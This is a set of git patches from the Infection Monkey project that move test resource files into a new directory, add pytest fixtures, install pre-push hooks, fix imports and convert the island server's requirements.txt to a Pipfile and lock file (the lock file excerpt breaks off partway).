0 .../server_config_partial_credentials.json | 0 .../server_config_standard_env.json | 0 ...rver_config_standard_with_credentials.json | 0 .../server_config_with_credentials.json | 0 .../server_config_with_data_dir.json | 0 .../server_config_with_data_dir_home.json | 0 .../resources}/logger_config.json | 0 .../testing => tests/resources}/mongo_key.bin | 0 .../server_config_no_credentials.json | 4 ++ .../server_config_with_credentials.json | 4 ++ 16 files changed, 113 insertions(+), 52 deletions(-) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_no_credentials.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_partial_credentials.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_standard_env.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_standard_with_credentials.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_with_credentials.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_with_data_dir.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/environment/server_config_with_data_dir_home.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/logger_config.json (100%) rename monkey/{monkey_island/cc/testing => tests/resources}/mongo_key.bin (100%) create mode 100644 monkey/tests/resources/server_config_no_credentials.json create mode 100644 monkey/tests/resources/server_config_with_credentials.json diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 12602eae4f9..89de3310958 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -1,5 +1,51 @@ +import os import sys from pathlib import Path +import pytest + MONKEY_BASE_PATH = str(Path(__file__).parent.parent) sys.path.insert(0, MONKEY_BASE_PATH) + + +print("imported") + + +@pytest.fixture(scope="session") +def resources_dir(pytestconfig): + return os.path.join(pytestconfig.rootdir, "monkey", "tests", "resources") + + +@pytest.fixture(scope="session") +def environment_resources_dir(resources_dir): + return os.path.join(resources_dir, "environment") + + +@pytest.fixture(scope="session") +def with_credentials(environment_resources_dir): + return os.path.join(environment_resources_dir, "server_config_with_credentials.json") + + +@pytest.fixture(scope="session") +def no_credentials(environment_resources_dir): + return os.path.join(environment_resources_dir, "server_config_no_credentials.json") + + +@pytest.fixture(scope="session") +def partial_credentials(environment_resources_dir): + return os.path.join(environment_resources_dir, "server_config_partial_credentials.json") + + +@pytest.fixture(scope="session") +def standard_with_credentials(environment_resources_dir): + return os.path.join(environment_resources_dir, "server_config_standard_with_credentials.json") + + +@pytest.fixture(scope="session") +def with_data_dir(environment_resources_dir): + return os.path.join(environment_resources_dir, "server_config_with_data_dir.json") + + +@pytest.fixture(scope="session") +def with_data_dir_home(environment_resources_dir): + return os.path.join(environment_resources_dir, "server_config_with_data_dir_home.json") diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py index dbf98eefe17..0c98d1ccfad 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment.py @@ -4,6 +4,8 @@ from unittest import TestCase from unittest.mock import MagicMock, patch +import pytest + from common.utils.exceptions import ( AlreadyRegisteredError, CredentialsNotRequiredError, @@ -11,17 +13,35 @@ RegistrationNotNeededError, ) from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH - -TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") -WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_with_credentials.json") -NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") -PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") -STANDARD_WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" -) -STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, "server_config_standard_env.json") +WITH_CREDENTIALS = None +NO_CREDENTIALS = None +PARTIAL_CREDENTIALS = None +STANDARD_WITH_CREDENTIALS = None +STANDARD_ENV = None + + +# This fixture is a dirty hack that can be removed once these tests are converted from +# unittest to pytest. Instead, the appropriate fixtures from conftest.py can be used. +@pytest.fixture(scope="module", autouse=True) +def configure_resources(environment_resources_dir): + global WITH_CREDENTIALS + global NO_CREDENTIALS + global PARTIAL_CREDENTIALS + global STANDARD_WITH_CREDENTIALS + global STANDARD_ENV + + WITH_CREDENTIALS = os.path.join( + environment_resources_dir, "server_config_with_credentials.json" + ) + NO_CREDENTIALS = os.path.join(environment_resources_dir, "server_config_no_credentials.json") + PARTIAL_CREDENTIALS = os.path.join( + environment_resources_dir, "server_config_partial_credentials.json" + ) + STANDARD_WITH_CREDENTIALS = os.path.join( + environment_resources_dir, "server_config_standard_with_credentials.json" + ) + STANDARD_ENV = os.path.join(environment_resources_dir, "server_config_standard_env.json") def get_tmp_file(): diff --git a/monkey/tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/monkey_island/cc/environment/test_environment_config.py index 9bf6bfc2bf5..6f9170f2f31 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment_config.py @@ -6,18 +6,7 @@ from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, MONKEY_ISLAND_ABS_PATH - -TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") - -WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_with_credentials.json") -NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") -PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") -STANDARD_WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" -) -WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir.json") -WITH_DATA_DIR_HOME = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir_home.json") +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR @pytest.fixture @@ -25,8 +14,8 @@ def config_file(tmpdir): return os.path.join(tmpdir, "test_config.json") -def test_get_with_credentials(): - config_dict = EnvironmentConfig(WITH_CREDENTIALS).to_dict() +def test_get_with_credentials(with_credentials): + config_dict = EnvironmentConfig(with_credentials).to_dict() assert len(config_dict.keys()) == 5 assert config_dict["server_config"] == "password" @@ -36,8 +25,8 @@ def test_get_with_credentials(): assert config_dict["data_dir"] == DEFAULT_DATA_DIR -def test_get_with_no_credentials(): - config_dict = EnvironmentConfig(NO_CREDENTIALS).to_dict() +def test_get_with_no_credentials(no_credentials): + config_dict = EnvironmentConfig(no_credentials).to_dict() assert len(config_dict.keys()) == 3 assert config_dict["server_config"] == "password" @@ -45,8 +34,8 @@ def test_get_with_no_credentials(): assert config_dict["data_dir"] == DEFAULT_DATA_DIR -def test_get_with_partial_credentials(): - config_dict = EnvironmentConfig(PARTIAL_CREDENTIALS).to_dict() +def test_get_with_partial_credentials(partial_credentials): + config_dict = EnvironmentConfig(partial_credentials).to_dict() assert len(config_dict.keys()) == 4 assert config_dict["server_config"] == "password" @@ -55,8 +44,8 @@ def test_get_with_partial_credentials(): assert config_dict["data_dir"] == DEFAULT_DATA_DIR -def test_save_to_file(config_file): - shutil.copyfile(STANDARD_WITH_CREDENTIALS, config_file) +def test_save_to_file(config_file, standard_with_credentials): + shutil.copyfile(standard_with_credentials, config_file) environment_config = EnvironmentConfig(config_file) environment_config.aws = "test_aws" @@ -74,12 +63,12 @@ def test_save_to_file(config_file): assert from_file["data_dir"] == DEFAULT_DATA_DIR -def test_add_user(config_file): +def test_add_user(config_file, standard_with_credentials): new_user = "new_user" new_password_hash = "fedcba" new_user_creds = UserCreds(new_user, new_password_hash) - shutil.copyfile(STANDARD_WITH_CREDENTIALS, config_file) + shutil.copyfile(standard_with_credentials, config_file) environment_config = EnvironmentConfig(config_file) environment_config.add_user(new_user_creds) @@ -92,8 +81,8 @@ def test_add_user(config_file): assert from_file["password_hash"] == new_password_hash -def test_get_users(): - environment_config = EnvironmentConfig(STANDARD_WITH_CREDENTIALS) +def test_get_users(standard_with_credentials): + environment_config = EnvironmentConfig(standard_with_credentials) users = environment_config.get_users() assert len(users) == 1 @@ -115,8 +104,8 @@ def test_generate_default_file(config_file): assert environment_config.data_dir == DEFAULT_DATA_DIR -def test_data_dir(): - environment_config = EnvironmentConfig(WITH_DATA_DIR) +def test_data_dir(with_data_dir): + environment_config = EnvironmentConfig(with_data_dir) assert environment_config.data_dir == "/test/data/dir" @@ -124,8 +113,8 @@ def set_home_env(monkeypatch, tmpdir): monkeypatch.setenv("HOME", str(tmpdir)) -def test_data_dir_abs_path_from_file(monkeypatch, tmpdir): +def test_data_dir_abs_path_from_file(monkeypatch, tmpdir, with_data_dir_home): set_home_env(monkeypatch, tmpdir) - config = EnvironmentConfig(WITH_DATA_DIR_HOME) + config = EnvironmentConfig(with_data_dir_home) assert config.data_dir_abs_path == os.path.join(tmpdir, "data_dir") diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py index af58f4b752e..57f0cc5b02f 100644 --- a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py @@ -3,12 +3,12 @@ import pytest -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.island_logger import json_setup_logging -TEST_LOGGER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" -) + +@pytest.fixture() +def test_logger_config_path(resources_dir): + return os.path.join(resources_dir, "logger_config.json") # TODO move into monkey/monkey_island/cc/test_common/fixtures after rebase/backmerge @@ -17,11 +17,11 @@ def mock_home_env(monkeypatch, tmpdir): monkeypatch.setenv("HOME", str(tmpdir)) -def test_expanduser_filename(mock_home_env, tmpdir): +def test_expanduser_filename(mock_home_env, tmpdir, test_logger_config_path): INFO_LOG = os.path.join(tmpdir, "info.log") TEST_STRING = "Hello, Monkey!" - json_setup_logging(TEST_LOGGER_CONFIG_PATH) + json_setup_logging(test_logger_config_path) logger = logging.getLogger("TestLogger") logger.info(TEST_STRING) diff --git a/monkey/tests/monkey_island/cc/test_encryptor.py b/monkey/tests/monkey_island/cc/test_encryptor.py index 7823c64ec0a..a7ad9e6b694 100644 --- a/monkey/tests/monkey_island/cc/test_encryptor.py +++ b/monkey/tests/monkey_island/cc/test_encryptor.py @@ -1,29 +1,27 @@ import os -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor -TEST_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing") PASSWORD_FILENAME = "mongo_key.bin" PLAINTEXT = "Hello, Monkey!" CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" -def test_aes_cbc_encryption(): - initialize_encryptor(TEST_DATA_DIR) +def test_aes_cbc_encryption(resources_dir): + initialize_encryptor(resources_dir) assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT -def test_aes_cbc_decryption(): - initialize_encryptor(TEST_DATA_DIR) +def test_aes_cbc_decryption(resources_dir): + initialize_encryptor(resources_dir) assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT -def test_aes_cbc_enc_dec(): - initialize_encryptor(TEST_DATA_DIR) +def test_aes_cbc_enc_dec(resources_dir): + initialize_encryptor(resources_dir) assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT diff --git a/monkey/monkey_island/cc/testing/environment/server_config_no_credentials.json b/monkey/tests/resources/environment/server_config_no_credentials.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_no_credentials.json rename to monkey/tests/resources/environment/server_config_no_credentials.json diff --git a/monkey/monkey_island/cc/testing/environment/server_config_partial_credentials.json b/monkey/tests/resources/environment/server_config_partial_credentials.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_partial_credentials.json rename to monkey/tests/resources/environment/server_config_partial_credentials.json diff --git a/monkey/monkey_island/cc/testing/environment/server_config_standard_env.json b/monkey/tests/resources/environment/server_config_standard_env.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_standard_env.json rename to monkey/tests/resources/environment/server_config_standard_env.json diff --git a/monkey/monkey_island/cc/testing/environment/server_config_standard_with_credentials.json b/monkey/tests/resources/environment/server_config_standard_with_credentials.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_standard_with_credentials.json rename to monkey/tests/resources/environment/server_config_standard_with_credentials.json diff --git a/monkey/monkey_island/cc/testing/environment/server_config_with_credentials.json b/monkey/tests/resources/environment/server_config_with_credentials.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_with_credentials.json rename to monkey/tests/resources/environment/server_config_with_credentials.json diff --git a/monkey/monkey_island/cc/testing/environment/server_config_with_data_dir.json b/monkey/tests/resources/environment/server_config_with_data_dir.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_with_data_dir.json rename to monkey/tests/resources/environment/server_config_with_data_dir.json diff --git a/monkey/monkey_island/cc/testing/environment/server_config_with_data_dir_home.json b/monkey/tests/resources/environment/server_config_with_data_dir_home.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_with_data_dir_home.json rename to monkey/tests/resources/environment/server_config_with_data_dir_home.json diff --git a/monkey/monkey_island/cc/testing/logger_config.json b/monkey/tests/resources/logger_config.json similarity index 100% rename from monkey/monkey_island/cc/testing/logger_config.json rename to monkey/tests/resources/logger_config.json diff --git a/monkey/monkey_island/cc/testing/mongo_key.bin b/monkey/tests/resources/mongo_key.bin similarity index 100% rename from monkey/monkey_island/cc/testing/mongo_key.bin rename to monkey/tests/resources/mongo_key.bin diff --git a/monkey/tests/resources/server_config_no_credentials.json b/monkey/tests/resources/server_config_no_credentials.json new file mode 100644 index 00000000000..ecc4c17085f --- /dev/null +++ b/monkey/tests/resources/server_config_no_credentials.json @@ -0,0 +1,4 @@ +{ + "server_config": "password", + "deployment": "develop" +} diff --git a/monkey/tests/resources/server_config_with_credentials.json b/monkey/tests/resources/server_config_with_credentials.json new file mode 100644 index 00000000000..ecc4c17085f --- /dev/null +++ b/monkey/tests/resources/server_config_with_credentials.json @@ -0,0 +1,4 @@ +{ + "server_config": "password", + "deployment": "develop" +} From 6571e0e4faacce1f105dee6f5f4712a78ea6e372 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 20 Apr 2021 12:11:46 -0400 Subject: [PATCH 0246/1360] Install pre-push hooks in deployment scripts --- deployment_scripts/deploy_linux.sh | 2 +- deployment_scripts/deploy_windows.ps1 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 940b763d55f..072e14af80a 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -26,7 +26,7 @@ log_message() { configure_precommit() { $1 -m pip install --user pre-commit pushd "$2" - $HOME/.local/bin/pre-commit install + $HOME/.local/bin/pre-commit install -t pre-commit -t pre-push popd } diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 28d34904c6b..3438c554ba1 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -18,7 +18,7 @@ function Configure-precommit([String] $git_repo_dir) if ($LastExitCode) { exit } - pre-commit install + pre-commit install -t pre-commit -t pre-push if ($LastExitCode) { exit } From 4b02e3bc636d6137bd9f5cd9beb15675e643223d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 20 Apr 2021 12:13:00 -0400 Subject: [PATCH 0247/1360] docs: Add pre-push hooks to manual pre-commit install instructions --- deployment_scripts/README.md | 2 +- docs/content/development/setup-development-environment.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index ff767b33b85..7281d0d4f1d 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -81,4 +81,4 @@ been run or all issues have not been resolved. To install and configure pre-commit manually, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run -`pre-commit install` Now, pre-commit will automatically run whenever you `git commit`. +`pre-commit install -t pre-commit -t pre-push` Now, pre-commit will automatically run whenever you `git commit`. diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index af4aa5e8a47..b7d122778c8 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -30,4 +30,4 @@ Pre-commit is a multi-language package manager for pre-commit hooks. It will run Our CI system runs the same checks when pull requests are submitted. This system may report that the build has failed if the pre-commit hooks have not been run or all issues have not been resolved. -To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install`. Pre-commit will now run automatically whenever you `git commit`. +To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install -t pre-commit -t pre-push`. Pre-commit will now run automatically whenever you `git commit`. From e3a0105b04795ed460de42450c1b64085781bd3e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 20 Apr 2021 12:16:13 -0400 Subject: [PATCH 0248/1360] Set default_stages to commit only --- .pre-commit-config.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 877a1b57d09..4717c0f327b 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,3 +1,4 @@ +default_stages: [commit] repos: - repo: https://github.com/pycqa/isort rev: 5.8.0 From a42e6312b1a2928ba9ee8a6b450e3b76736331d5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 21 Apr 2021 08:00:24 -0400 Subject: [PATCH 0249/1360] tests: Remove unnecessary server configs --- monkey/tests/resources/server_config_no_credentials.json | 4 ---- monkey/tests/resources/server_config_with_credentials.json | 4 ---- 2 files changed, 8 deletions(-) delete mode 100644 monkey/tests/resources/server_config_no_credentials.json delete mode 100644 monkey/tests/resources/server_config_with_credentials.json diff --git a/monkey/tests/resources/server_config_no_credentials.json b/monkey/tests/resources/server_config_no_credentials.json deleted file mode 100644 index ecc4c17085f..00000000000 --- a/monkey/tests/resources/server_config_no_credentials.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "server_config": "password", - "deployment": "develop" -} diff --git a/monkey/tests/resources/server_config_with_credentials.json b/monkey/tests/resources/server_config_with_credentials.json deleted file mode 100644 index ecc4c17085f..00000000000 --- a/monkey/tests/resources/server_config_with_credentials.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "server_config": "password", - "deployment": "develop" -} From 7c452d0c6f9a10650b0f9a776d66d3db32d43880 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 21 Apr 2021 08:03:01 -0400 Subject: [PATCH 0250/1360] tests: Remove debug print statement in conftest.py --- monkey/tests/conftest.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 89de3310958..81806ef69c8 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -8,9 +8,6 @@ sys.path.insert(0, MONKEY_BASE_PATH) -print("imported") - - @pytest.fixture(scope="session") def resources_dir(pytestconfig): return os.path.join(pytestconfig.rootdir, "monkey", "tests", "resources") From 2480dc8cdb30e8aef5789e06332e4f85d8f1ddeb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Apr 2021 11:13:18 +0300 Subject: [PATCH 0251/1360] Fixed a broken import in attack_mitigations.py --- monkey/monkey_island/cc/models/attack/attack_mitigations.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index 271b68461bb..9d09aae5a9c 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -4,7 +4,7 @@ from stix2 import AttackPattern, CourseOfAction from monkey_island.cc.models.attack.mitigation import Mitigation -from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface class AttackMitigations(Document): From 26e10e9ed21e7616233ed6ea02a0313339cd618a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Apr 2021 11:33:14 +0300 Subject: [PATCH 0252/1360] Fixed a broken import in mitigation.py --- monkey/monkey_island/cc/models/attack/mitigation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 626c1800a9f..8a0a1f0199b 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -1,7 +1,7 @@ from mongoengine import EmbeddedDocument, StringField from stix2 import CourseOfAction -from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface class Mitigation(EmbeddedDocument): From 33de5aac603b3a0d9b31fece5509202ddd02967b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 12:35:24 +0300 Subject: [PATCH 0253/1360] Converted island requirement.txt file to pipenv files --- monkey/monkey_island/Pipfile | 38 + monkey/monkey_island/Pipfile.lock | 969 ++++++++++++++++++++++++++ monkey/monkey_island/requirements.txt | 31 - 3 files changed, 1007 insertions(+), 31 deletions(-) create mode 100644 monkey/monkey_island/Pipfile create mode 100644 monkey/monkey_island/Pipfile.lock delete mode 100644 monkey/monkey_island/requirements.txt diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile new file mode 100644 index 00000000000..e2255c54338 --- /dev/null +++ b/monkey/monkey_island/Pipfile @@ -0,0 +1,38 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +flask-jwt-extended = "==3.24.1" +flask-pymongo = ">=2.3.0" +flask-restful = ">=0.3.8" +pyinstaller = "==3.6" +awscli = "==1.18.131" +boto3 = "==1.14.54" +botocore = "==1.17.54" +cffi = "!=1.11.3,>=1.8" +dpath = ">=2.0" +flask = ">=1.1" +gevent = ">=20.9.0" +ipaddress = ">=1.0.23" +jsonschema = "==3.2.0" +mongoengine = "==0.20" +netifaces = ">=0.10.9" +pycryptodome = "==3.9.8" +python-dateutil = ">=2.1,<3.0.0" +requests = ">=2.24" +ring = ">=0.7.3" +stix2 = ">=2.0.2" +six = ">=1.13.0" +tqdm = ">=4.47" +werkzeug = ">=1.0.1" + +[dev-packages] +virtualenv = ">=20.0.26" +pytest = ">=5.4" +requests-mock = "==1.8.0" +mongomock = "==3.19.0" + +[requires] +python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock new file mode 100644 index 00000000000..fc951a7f1d7 --- /dev/null +++ b/monkey/monkey_island/Pipfile.lock @@ -0,0 +1,969 @@ +{ + "_meta": { + "hash": { + "sha256": "f9eb21e5454544ee546c47d07be126ab22031b712cb16dc5bd68ebe36e665e10" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.7" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "altgraph": { + "hashes": [ + "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa", + "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe" + ], + "version": "==0.17" + }, + "aniso8601": { + "hashes": [ + "sha256:1d2b7ef82963909e93c4f24ce48d4de9e66009a21bf1c1e1c85bdd0812fe412f", + "sha256:72e3117667eedf66951bb2d93f4296a56b94b078a8a95905a052611fb3f1b973" + ], + "version": "==9.0.1" + }, + "antlr4-python3-runtime": { + "hashes": [ + "sha256:15793f5d0512a372b4e7d2284058ad32ce7dd27126b105fb0b2245130445db33" + ], + "markers": "python_version >= '3'", + "version": "==4.8" + }, + "appdirs": { + "hashes": [ + "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41", + "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128" + ], + "version": "==1.4.4" + }, + "atomicwrites": { + "hashes": [ + "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", + "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" + ], + "markers": "sys_platform == 'win32'", + "version": "==1.4.0" + }, + "attrs": { + "hashes": [ + "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6", + "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==20.3.0" + }, + "awscli": { + "hashes": [ + "sha256:5dfdae33fc7c7b24c4beeaf8db7ca5ddec903d8b249578d1d0d4bd86c128d53d", + "sha256:a74b11681990a8572ba221af39aed887e6c84d4233dca3dcea134f28fd243e0b" + ], + "index": "pypi", + "version": "==1.18.131" + }, + "boto3": { + "hashes": [ + "sha256:4196b418598851ffd10cf9d1606694673cbfeca4ddf8b25d4e50addbd2fc60bf", + "sha256:69ad8f2184979e223e12ee3071674fdf910983cf9f4d6f34f7ec407b089064b5" + ], + "index": "pypi", + "version": "==1.14.54" + }, + "botocore": { + "hashes": [ + "sha256:6fe05837646447d61acdaf1e3401b92cd9309f00b19c577a50d0ade7735a3403", + "sha256:9e493a21e6a8d45c631eb2952ae8e1d0a31b9984546d4268ea10c0c33e2435ce" + ], + "index": "pypi", + "version": "==1.17.54" + }, + "certifi": { + "hashes": [ + "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", + "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" + ], + "version": "==2020.12.5" + }, + "cffi": { + "hashes": [ + "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813", + "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06", + "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea", + "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee", + "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396", + "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73", + "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315", + "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1", + "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49", + "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892", + "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482", + "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058", + "sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5", + "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53", + "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045", + "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3", + "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5", + "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e", + "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c", + "sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369", + "sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827", + "sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053", + "sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa", + "sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4", + "sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322", + "sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132", + "sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62", + "sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa", + "sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0", + "sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396", + "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e", + "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991", + 